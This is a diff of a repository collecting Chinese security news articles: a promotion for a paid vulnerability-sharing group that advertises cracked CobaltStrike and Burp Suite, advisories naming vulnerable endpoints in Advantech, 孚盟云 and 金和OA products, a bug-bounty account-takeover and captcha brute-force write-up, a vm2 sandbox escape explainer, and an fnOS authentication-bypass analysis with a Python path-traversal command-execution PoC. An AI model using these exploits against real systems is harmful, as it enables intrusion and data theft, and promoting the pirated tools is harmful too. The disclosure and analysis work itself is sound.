||||
**每天更新1day/0day漏洞刷分上分****(2026POC更新至5112+)**
|
||||
**，**
|
||||
包含全网一些**付费扫描****工具及内部原创的Burpsuite自动化漏****洞探测插件/漏扫工具等，AI代审工具，最新挖洞技巧等**
|
||||
。shadon/Zoomeye/Quake/
|
||||
Fofa高级会员，CTFShow等各种账号会员共享。详情点击下方链接了解，觉得价格高的师傅后台回复"
|
||||
**星球**
|
||||
"有优惠券名额有限先到先得
|
||||
**❗️**
|
||||
啥都有
|
||||
**❗️**
|
||||
全网资源
|
||||
最新
|
||||
最丰富
|
||||
**❗️****（🤙截止目前已有2400+多位师傅选择加入❗️早加入早享受）**
|
||||
|
||||
****
|
||||
最新漏洞情报分享：
|
||||
https://t.zsxq.com/lFN5j
|
||||
|
||||
****
|
||||
|
||||
**👉****点击了解加入-->>内部VIP知识星球福利介绍V1.4版本-1day/0day漏洞库及内部资源更新**
|
||||
|
||||
****
|
||||
|
||||
|
||||
结尾
|
||||
|
||||
# 免责声明
|
||||
|
||||
|
||||
# 获取方法
|
||||
|
||||
|
||||
**公众号回复20260203获取下载**
|
||||
|
||||
# 最后必看-免责声明
|
||||
|
||||
|
||||
|
||||
文章中的案例或工具仅面向合法授权的企业安全建设行为，如您需要测试内容的可用性，请自行搭建靶机环境，勿用于非法行为。如
|
||||
用于其他用途，由使用者承担全部法律及连带责任，与作者和本公众号无关。
|
||||
本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。
|
||||
如您在使用本工具或阅读文章的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。本工具或文章或来源于网络，若有侵权请联系作者删除，请在24小时内删除，请勿用于商业行为，自行查验是否具有后门，切勿相信软件内的广告！
|
||||
|
||||
|
||||
|
||||
# 往期推荐
|
||||
|
||||
|
||||
**1.内部VIP知识星球福利介绍V1.4（AI自动化工具）**
|
||||
|
||||
**2.CS4.8-CobaltStrike4.8汉化+插件版**
|
||||
|
||||
**3.全新升级BurpSuite2025.12专业(稳定版)**
|
||||
|
||||
**4. 最新xray1.9.11高级版下载Windows/Linux**
|
||||
|
||||
**5. 最新HCL AppScan Standard**
|
||||
|
||||
|
||||
渗透安全HackTwo
|
||||
|
||||
微信号：关注公众号获取
|
||||
|
||||
后台回复星球加入：
|
||||
知识星球
|
||||
|
||||
扫码关注 了解更多
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
上一篇文章：
|
||||
[Nacos配置文件攻防思路总结|揭秘Nacos被低估的攻击面](https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247492839&idx=1&sn=b6f091114fbd8e8922153a996c8f4f1c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
# 漏洞预警 | Advantech SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-02-03 00:02
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # CVE-2025-52694
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
Advantech是中国研华公司的一个智能电动客车管理系统
|
||||
。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**CVE-2025-52694**
|
||||
|
||||
**漏洞类型：**
|
||||
SQL注入
|
||||
|
||||
**影响：**
|
||||
窃取敏感信息
|
||||
|
||||
**简述：**
|
||||
Advantech的/displays/{filename}.json?org_id=接口存在SQL注入漏洞，未经身份验证的攻击者可以通过该漏洞执行任意SQL语句，从而获取数据库敏感信息。
|
||||
|
||||
**0x04 影响版本**
|
||||
- IoTSuite SaaSComposer prior < 3.4.15
|
||||
|
||||
- IoTSuite Growth Linux docker prior < V2.0.2
|
||||
|
||||
- IoTSuite Starter Linux docker prior < V2.0.2
|
||||
|
||||
- IoT Edge Linux docker prior < V2.0.2
|
||||
|
||||
- IoT Edge Windows prior < V2.0.2
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://www.advantech.com.cn/
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 漏洞预警 | 孚盟云SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-02-02 00:01
|
||||
浅安 浅安安全 2026-02-03 00:02
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
@@ -24,9 +24,7 @@ SQL注入
|
||||
窃取敏感信息
|
||||
|
||||
**简述：**
|
||||
孚盟云的
|
||||
/m/Dingding/Ajax/AjaxMailInSend.ashx
|
||||
接口存在SQL注入漏洞，攻击者可通过伪造cookie获取系统访问权限，进而该漏洞获取数据库敏感信息。
|
||||
孚盟云的/m/Dingding/Ajax/AjaxOthers.ashx接口存在SQL注入漏洞，攻击者可通过伪造cookie获取系统访问权限，进而该漏洞获取数据库敏感信息。
|
||||
|
||||
**0x04 影响版本**
|
||||
- 孚盟云
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 漏洞预警 | 金和OA XXE漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-02-02 00:01
|
||||
浅安 浅安安全 2026-02-03 00:02
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
@@ -24,8 +24,8 @@ XXE
|
||||
获取敏感信息
|
||||
|
||||
**简述：**
|
||||
金和OA C6的/c6/Jhsoft.Web.dossier/RegCodeInfo.aspx/
|
||||
和/c6/Jhsoft.Web.groups/LstGroupXml.aspx/
|
||||
金和OA C6的/c6/Jhsoft.Web.govset/getFieldValue.aspx/和
|
||||
/c6/Jhsoft.Web.govset/getAppIdeaValue.aspx/
|
||||
接口处存在XXE漏洞，未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息，进一步利用可导致服务器失陷。
|
||||
|
||||
**0x04 影响版本**
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
# 第155篇：Weblogic反序列化漏洞的多种回显方法总结（上篇）
|
||||
原创 abc123info
|
||||
abc123info 希潭实验室 2026-02-02 12:17
|
||||
嗨嗨安全 2026-02-02 12:41
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,228 @@
|
||||
# 赏金src报告分享&&edu证书站漏洞分享
|
||||
原创 湘南第一深情
|
||||
湘南第一深情 湘安无事 2026-02-02 16:03
|
||||
|
||||
声明：
|
||||
由于传播、利用本公众号湘安无事所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。如有侵权烦请告知，我们会立即删除并致歉。谢谢！
|
||||
|
||||
## 前言
|
||||
|
||||
某次项目和学员一起挖掘，开局就直接起飞了，运气真的好，让我们来怎么起飞的。
|
||||
|
||||
|
||||
|
||||
## 第一个漏洞任意登陆拿下几千大洋
|
||||
|
||||
通过子域名收集到的，发现有注册，直接登陆进去试试。
|
||||
|
||||
|
||||
|
||||
直接在js发现一个接口，通过ai来分析就是查询token值，刚开始以为是查自己的。
|
||||
```
|
||||
auth/qryTokenlnfo
|
||||
```
|
||||
|
||||
当我把参数全部删除，发现竟然返回了所有人的嘿嘿
|
||||
|
||||
|
||||
|
||||
然后我尝试使用token-editor的扩展来进行账号接管
|
||||
|
||||
|
||||
|
||||
卧槽直接成功了，我干了，nnd，又赚几千大洋，还得是学员呀。
|
||||
|
||||
|
||||
|
||||
直接接管成功，几千大洋到手啦~
|
||||
|
||||
|
||||
|
||||
为了展示危害，找到一个查询个人信息的接口，直接可以批量获取整个网站的个人信息。
|
||||
|
||||
|
||||
|
||||
并且还可以修改任意用户的账号密码。
|
||||
|
||||
|
||||
|
||||
马上打电话让学员马上交报告。
|
||||
|
||||
|
||||
|
||||
后续直接拿下了，也有视频版放到下面啦
|
||||
> 【两分钟讲漏洞01-任意用户接管漏洞】 https://www.bilibili.com/video/BV1xkFPzgECB/?share_source=copy_web&vd_source=40d3d8c4cbf8bd3dc4fe6391b8b8f8dd
|
||||
|
||||
|
||||
|
||||
|
||||
## edu漏洞证书站分享
|
||||
|
||||
直接发现一个网站，点击忘记密码
|
||||
|
||||
|
||||
|
||||
发送完验证码抓包发现是加密的数据
|
||||
|
||||
|
||||
|
||||
很明显一看就是aes加密的
|
||||
|
||||
|
||||
|
||||
开始分析
|
||||
|
||||
|
||||
|
||||
第一个匿名函数会有提示没有定义加密也就是说加解密需要调用此函数
|
||||
|
||||
接着在下面发现加解密函数
|
||||
|
||||
|
||||
|
||||
虽然是JS经过了混淆我们直接在控制台调用就好了，首先是数据的解密
|
||||
```
|
||||
let opts = getOptions(); let cipherText = '这里写密文'; let decrypted = decrypt(cipherText, false); console.log(decrypted);
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
尝试对刚才数据包中请求包的data和返回包的data进行解密，成功
|
||||
|
||||
|
||||
|
||||
直接写个循环生成加密函数得了，加密请求包data的字典去爆破验证码，控制台生成。
|
||||
|
||||
|
||||
|
||||
得到加密的字典
|
||||
|
||||
|
||||
|
||||
重新抓取输入完验证码的包进行爆破
|
||||
|
||||
|
||||
|
||||
成功爆破，解密数据为
|
||||
|
||||
|
||||
|
||||
输入正确的验证码后直接输入新密码即可成功
|
||||
|
||||
|
||||
|
||||
往期文章
|
||||
|
||||
[服务号存在注入之有意思的edu漏洞](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494659&idx=1&sn=e357db59d806c93f3a5a36b5c312b335&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[edu小灶案例之泄露上w敏感信息&有意思的证书站报告案例](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494702&idx=1&sn=5f0d05b6bea8550eda36ed2ce8ddbf7a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[学员投稿之edu漏洞的JS逆向解密导致任意密码重置](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494634&idx=1&sn=7cc83a90badea88d7d7d25583bd0c419&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[最近学员小灶总结之双十二特惠](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494604&idx=1&sn=80f030c8114ee3287036586c670289c9&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[卡顿页面导致三本edu证书现世之学员案例分享](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494572&idx=1&sn=14c21f1cae87dbdbf2ca5c4b10533f5d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[看完这场EDU通杀刷屏，连我自己都沉默了](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494535&idx=1&sn=113dd5e17065def94a5dacad361176b3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[edu证书站挖掘之学员分享案例](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494524&idx=1&sn=bff39f27ea27bccb884e832603acda92&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[如何快速挖掘低微漏洞-项目挖掘总结版](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494500&idx=1&sn=2da7aa0d40075b462eb27695f2da9e83&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[公众号接管漏洞之偷偷加](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494345&idx=1&sn=6d9ab80cde99e95c4d1ac710e091ffdd&scene=21#wechat_redirect)
|
||||
|
||||
[小姐姐微信](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494345&idx=1&sn=6d9ab80cde99e95c4d1ac710e091ffdd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[辅助学员审计案例-php代码审计](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494284&idx=1&sn=2feaf2786717c2c577fe0b5230cbc58f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[学员-补天800赏金报告分享](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494284&idx=2&sn=c54ea91e0b3dc79f48f54f931df413c0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[从js逆向到sql注入waf绕过到net审计-edu证书漏洞](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494171&idx=1&sn=0d589d01dfbb068e53f9ad9c22676d7a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[空白页面引起的高危src漏洞-再次绕过](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494082&idx=1&sn=6d1cc92a049d28b5395d417e0a5203a5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[空白页面引起的高危src漏洞](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494061&idx=1&sn=bfb1406138041fcba8286811aa7ac6e1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[难忘的优惠劵漏洞(深情哥破防版)](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494035&idx=1&sn=422326cc617c33c78b3d518471e0862d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[什么？又日母校？竟然还有表扬](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493987&idx=1&sn=f8edc2f3a113591e6e4cc57fdf821c8f&scene=21#wechat_redirect)
|
||||
|
||||
[信](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493987&idx=1&sn=f8edc2f3a113591e6e4cc57fdf821c8f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[sql server注入靶场搭建](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493947&idx=1&sn=885ee489f74211ba26a4a097f7ba30d6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[记一次学校ai沦为我的宠物之拿下e](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493890&idx=1&sn=380e9dd566b29b713993b26f524fe0e4&scene=21#wechat_redirect)
|
||||
|
||||
[du证书](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493890&idx=1&sn=380e9dd566b29b713993b26f524fe0e4&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[疯狂星期四两本证书漏洞合集](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493926&idx=1&sn=06ac298909e27d0e37fef90f64b205da&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[湘安无事之深情哥版edu+src培训](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493855&idx=2&sn=bb025b6a32bc022319f8dc8057a6436d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[记两次js逆向拿下985证书站(学员投稿)~](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493855&idx=1&sn=0d507bc1f90b04588393698ee1c2d4b8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[重生之我在教育园暴打小朋友](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493410&idx=1&sn=17df8a525145bf062ed5d6ecc3e09539&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[某医院微信小程序签名机制绕过分析](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493408&idx=1&sn=672ff76188ab6c97bc1b8d688ac7228f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[记二次帮学员拿下edu证书站](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493399&idx=1&sn=425e84fa877f789598a2e8afdf8320c6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[记一次难忘的net直播审计](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493369&idx=1&sn=e10ae1cd25ece5fe3c3ca4c2b455cb51&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[记一次小米-root+简易app抓包(新手)](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493374&idx=1&sn=7dea1086256be1d5a2b1a18fa4ab3be0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[记一次带学员渗透母校](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493292&idx=1&sn=7b1881174201094a5449fe1400ddc8a6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[同学，你试过交edu漏洞交两天两夜嘛](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493292&idx=2&sn=0d706a4064111b3e131f24460b2f2c56&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[手把手带学员拿下浙大edu证书](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493292&idx=4&sn=cd157b6471a1ab1e63b8dbfe0f62b42e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[记一次手把手带学员拿下600赏金](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493151&idx=1&sn=3e1a791a4d14b9ad21d2f0afe8a455a2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[深情版edu+src培训讲解(3000)](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494535&idx=2&sn=9dfb9ceda7361c9523471a64d8f16f5b&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
最后总结
|
||||
|
||||
感兴趣的可以联系深情哥进群
|
||||
，有公开课会在群里面通知，包括审计和src。
|
||||
edu邀请码获取，咨询问题，hvv渠道推荐，nisp和cisp考证都可以联系深情哥
|
||||
。
|
||||
|
||||
**内部edu+src培训，包括src挖掘，edu挖掘，小程序逆向，js逆向，app渗透，导师是挖洞过40w的奥特曼深情哥，edu上千分的带头大哥！！！联系深情哥即可。**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
# 逃离沙箱：CVE-2026-22709 深度复盘，为什么 vm2 总是防不住？
|
||||
原创 Kit Chung
|
||||
Kit Chung 安全圈动向 2026-02-02 23:57
|
||||
|
||||
|
||||
|
||||
作为一名长期在技术圈摸爬滚打的“老兵”，我深知这种“沙箱逃逸”漏洞对咱们开发者的杀伤力。这不仅仅是一个 Bug，它是悬在所有 Node.js 开发者头上的达摩克利斯之剑。
|
||||
|
||||
今天，咱们就聊聊这个让 vm2 再次陷入危机、评分高达 **9.8**
|
||||
的“夺命”漏洞。
|
||||
|
||||
## 一个关于“信任”的翻车现场
|
||||
|
||||
兄弟们，想象一下：你为了安全，专门在服务器里盖了一间“防弹玻璃房”（vm2 沙箱），把那些来路不明、可能带毒的代码关进去跑，觉得自己稳如老狗。
|
||||
|
||||
结果呢？代码在里面轻轻敲了一下玻璃，不仅出来了，还顺手拿走了你办公室的钥匙（系统最高权限）。
|
||||
|
||||
这是最近爆发的 **CVE-2026-22709**
|
||||
漏洞。作为 Node.js 圈子里大名鼎鼎的沙箱库，vm2 这次又双叒叕翻车了。而且这次的漏洞评分高达 **9.8**
|
||||
。
|
||||
|
||||
今天我带大家深度复盘一下：这个漏洞到底是怎么利用 Promise
|
||||
绕过层层拦截，实现“越狱”的。
|
||||
|
||||
## 核心技术点：为什么沙箱会“漏气”？
|
||||
|
||||
要理解这个漏洞，咱们得先搞清楚 vm2 的原理。vm2 本质上是利用 JavaScript 的 Proxy
|
||||
（代理）机制，把那些危险的全局对象（如 process
|
||||
、require
|
||||
）给拦截掉，给代码营造一种“你在家里很安全”的假象。
|
||||
### 1. 被忽视的 Promise 陷阱
|
||||
|
||||
这次漏洞的核心出在 JavaScript 的异步处理机制——**Promise**
|
||||
上。
|
||||
|
||||
在 Node.js 环境中，vm2 会对沙箱内的 Promise
|
||||
对象进行“净化”处理（Sanitization），确保你调用的 .then()
|
||||
或 .catch()
|
||||
回调函数不会跑出沙箱。
|
||||
> **关键点：**
|
||||
在 JavaScript 中，async
|
||||
函数返回的是 **globalPromise**
|
||||
对象，而不是 vm2 试图控制的 **localPromise**
|
||||
。
|
||||
|
||||
### 2. 原理深挖：跨越边界的“握手”
|
||||
|
||||
简单来说，vm2 虽然盯着你手里的“小杯咖啡”（本地 Promise），但当你使用 async/await
|
||||
时，系统偷偷塞给你一个“大杯咖啡”（全局 Promise）。
|
||||
|
||||
因为 vm2 没有对 globalPromise.prototype.then
|
||||
和 globalPromise.prototype.catch
|
||||
进行彻底的过滤和拦截，攻击者可以通过构造特殊的回调，直接跳出 vm2 预设的代理陷阱，接触到沙箱外部的真实执行环境。
|
||||
|
||||
**实现难点：**
|
||||
攻击者需要精准地捕捉到这个“逃逸点”，利用 async
|
||||
函数返回值的原型链差异，将攻击代码注入到不受监控的回调中。
|
||||
|
||||
## 历史重演：vm2 的“宿命”
|
||||
|
||||
说实话，作为一名 IT 工程师，我对 vm2 是又爱又恨。它的作者曾经因为漏洞太多心灰意冷，在 2023 年宣布过停止维护。虽然项目后来“起死回生”了，但这次 CVE-2026-22709 的出现再次证明：**在纯 JavaScript 层面构建一个完美的沙箱，几乎是不可能完成的任务。**
|
||||
|
||||
这已经是 vm2 近几年第 N 次被爆出逃逸漏洞了（比如之前的 CVE-2023-37466, CVE-2023-37903 等）。每当你打上一个补丁，黑客总能找到下一个原型链的漏洞钻过去。
|
||||
|
||||
## 我们该怎么办？资深老兵的 3 条建议
|
||||
|
||||
如果你现在的业务里还在大规模使用 vm2，我建议你赶紧行动：
|
||||
- **紧急更新：**
|
||||
哪怕你觉得没问题，也请立刻升级到 **3.10.3**
|
||||
或更高版本。这次补丁修复了多个逃逸路径。
|
||||
|
||||
- **更换引擎（方案推荐）：**
|
||||
vm2 的底层架构决定了它很难彻底杜绝逃逸。如果你的安全要求极高，我推荐尝试 **isolated-vm**
|
||||
。它依赖于 V8 引擎原生的 Isolate
|
||||
接口，虽然性能开销稍大，但稳得多。
|
||||
|
||||
- **最终防御：Docker 化策略。**
|
||||
不要把鸡蛋放在一个篮子里。即便有了沙箱隔离，也应该在系统层面配合 **Docker 容器化**
|
||||
，并遵循“最小权限原则”。
|
||||
|
||||
技术圈没有绝对的安全，只有不断的博弈。vm2 作为一个时代的经典工具，虽然现在步履蹒跚，但它探索隔离技术的思路依然值得我们学习。
|
||||
|
||||
**作为开发者，保持对技术的敬畏，永远不要完全信任任何一个“绝对安全”的库。**
|
||||
|
||||
你觉得 vm2 还能走多远？或者你在处理代码隔离时有什么压箱底的绝招？欢迎在评论区留言，咱们一起切磋！
|
||||
想了解更多关于 isolated-vm 的具体配置？想看更多深度 IT 技术干货？别忘了点个“在看”，你的支持是我更新的最大动力！
|
||||
@@ -0,0 +1,127 @@
|
||||
# 飞牛系统（fnOS）远程代码执行链：认证绕过
|
||||
助力行业的
|
||||
助力行业的 李白你好 2026-02-03 00:01
|
||||
|
||||
## 前言
|
||||
|
||||
在最近针对飞牛OS的0day攻击中，攻击者可能利用了三个漏洞来实现完整攻击链。作者：bron1e，https://github.com/bron1e/fnos-rce-chain
|
||||
|
||||
|
||||
1. **任意文件读取**
|
||||
|
||||
1. **认证绕过**
|
||||
|
||||
1. **授权命令执行**
|
||||
|
||||
其中任意文件读取和授权命令执行已被披露。本文主要对飞牛OS的认证绕过进行分析，并提出另一潜在命令执行路径。
|
||||
## 认证绕过
|
||||
### 1. 原理分析
|
||||
#### 1.1 登录逻辑
|
||||
|
||||
飞牛OS的登录逻辑如下：
|
||||
```
|
||||
用户请求 (Login/ChangePassword) | v[ 应用程序 ] | +---> 1. 验证/修改密码 | | | +---> [ 内存缓存 passwd ] | | | +---> [ Linux 系统调用 (crypt/PAM/chpasswd) ] ---> [ /etc/shadow ] | | | +---> [ smbpasswd 命令 ] ------------------------> [ Samba 密码库 ] | +---> 2. 登录成功后生成 +---> [ 内存缓存 secret, token ] | +---> [ PostgreSQL 数据库 ] ---> 表: longtoken
|
||||
```
|
||||
|
||||
授权命令执行需要拿到 secret 或者 token。但读取堆内存略微困难，因此要么读取到 longtoken 转化为 token，要么想办法利用业务漏洞。
|
||||
#### 1.2 交互逻辑
|
||||
|
||||
前端使用 Websocket 协议交互，登录流程如下：
|
||||
|
||||
|
||||
#### 1.3 Token生成逻辑
|
||||
|
||||
在 /usr/trim/bin/handlers/users.hdl 中的 do_login 函数中包含了 secret, token, longtoken的生成逻辑：
|
||||
- **Secret**
|
||||
(16字节)：随机生成的 16 字节数据，强制将第 16 字节设置为 o
|
||||
。
|
||||
|
||||
- **Token**
|
||||
(32字节)：
|
||||
|
||||
- **前 16 字节**
|
||||
(IV)：由时间戳、计时器和随机数拼接而成。
|
||||
|
||||
- **后 16 字节**
|
||||
(Cipher)：使用 RSA 密钥对 Secret 进行 AES 加密后的数据。
|
||||
|
||||
|
||||
|
||||
**因此 secret 和 token 可以相互转化**
|
||||
，这点很重要。
|
||||
|
||||
在 /usr/trim/bin/trim 中的 handle_websocket_packet 函数中包含了鉴权逻辑。
|
||||
|
||||
后端能够解析两种类型的包：
|
||||
- 加密包：不需要 secret 签名
|
||||
|
||||
- 明文包：除非req白名单或者设置了no_sign，否则需要secret对请求体签名
|
||||
|
||||
看上去可以构造一个加密包，然后使用 longtoken 进行登录，从而绕过签名：
|
||||
```
|
||||
{ "req": "user.tokenLogin", "reqid": xxx, "token": long_token, "deviceType": xxx, "deviceName": xxx, "did": xxx, "si": xxx,}
|
||||
```
|
||||
|
||||
遗憾的是，加密包会触发token长度的判断。
|
||||
|
||||
|
||||
|
||||
不过这里存在另一个漏洞：
|
||||
|
||||
**验签时如果存在 token 字段，则直接对 token 解密得到 secret，然后对请求体计算签名。**
|
||||
|
||||
|
||||
|
||||
因此，可以自己生成 secret 和 token 绕过认证。
|
||||
|
||||
|
||||
|
||||
|
||||
### 2. PoC
|
||||
|
||||
需获取系统中的 rsa_private_key.pem
|
||||
（通过任意文件读取漏洞获取）。
|
||||
```
|
||||
# 1. 命令执行python poc.py -k ./rsa_private_key.pem rce# 2. 获取会话tokenpython poc.py -k ./rsa_private_key.pem login -t 9XlXMOgDAABCfaZpAAAAAAluArwO5RZ2JbzjA6m9hmnjp0KtNSz/SA==
|
||||
```
|
||||
## 拓展
|
||||
### 1. CGI路径穿越
|
||||
|
||||
/usr/trim/bin/trim_http_cgi 存在一个稍弱的路径穿越、命令执行。
|
||||
|
||||
|
||||
|
||||
filepath.Join并不防御路径穿越，因此能从 /var/apps_ui 穿越到 /var，并执行任意文件。但存在有一些限制：
|
||||
1. 需要合法token
|
||||
|
||||
1. 由于nginx的解析问题，只能穿越一层到 /var
|
||||
|
||||
利用思路：需要结合认证绕过和后文提到的postgresql数据库中的longtoken，生成一个合法token，调用文件上传的API，上传一个bash到/var目录。
|
||||
```
|
||||
import requestsimport sysTARGET_IP = "192.168.108.168"TARGET_PORT = 5666TOKEN = "g9auUGNTfmkV7fEAVF6qTdH2kQ9CgBkEHmkUBsNvU/8="url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi/third-party/%2e./bash"headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Authorization": f"token {TOKEN}", "Content-Type": "application/x-www-form-urlencoded"}commands = "echo 1> /tmp/test.txt"print(f"[*] Attacking: {url}")print(f"[*] Using Token: {TOKEN[:10]}...")print(f"[*] Command: {commands}")try: # 发送 POST 请求 response = requests.request("POST", url, headers=headers, data=commands, timeout=10) print("\n[+] Status Code:", response.status_code) print("[+] Response Body (Command Output):\n") print("-" * 40) print(response.text) print("-" * 40)except Exception as e: print(f"[-] Error: {e}")
|
||||
```
|
||||
### 2. 读取postgresql数据库
|
||||
|
||||
PostgreSQL数据库位于 /var/lib/postgresql/*/main/base
|
||||
|
||||
该目录下有若干个数据库目录，通常为40000+，需要读取每个数据库下的pg_class表（固定OID为1259），然后从中获取 longtoken 表的 OID。
|
||||
|
||||
|
||||
|
||||
|
||||
## 参考
|
||||
```
|
||||
https://club.fnnas.com/forum.php?mod=viewthread&tid=53230https://v2ex.com/t/1189392
|
||||
```
|
||||
## 网络安全情报攻防站
|
||||
|
||||
**www.libaisec.com**
|
||||
|
||||
综合性的技术交流与资源共享社区
|
||||
|
||||
专注于红蓝对抗、攻防渗透、威胁情报、数据泄露
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user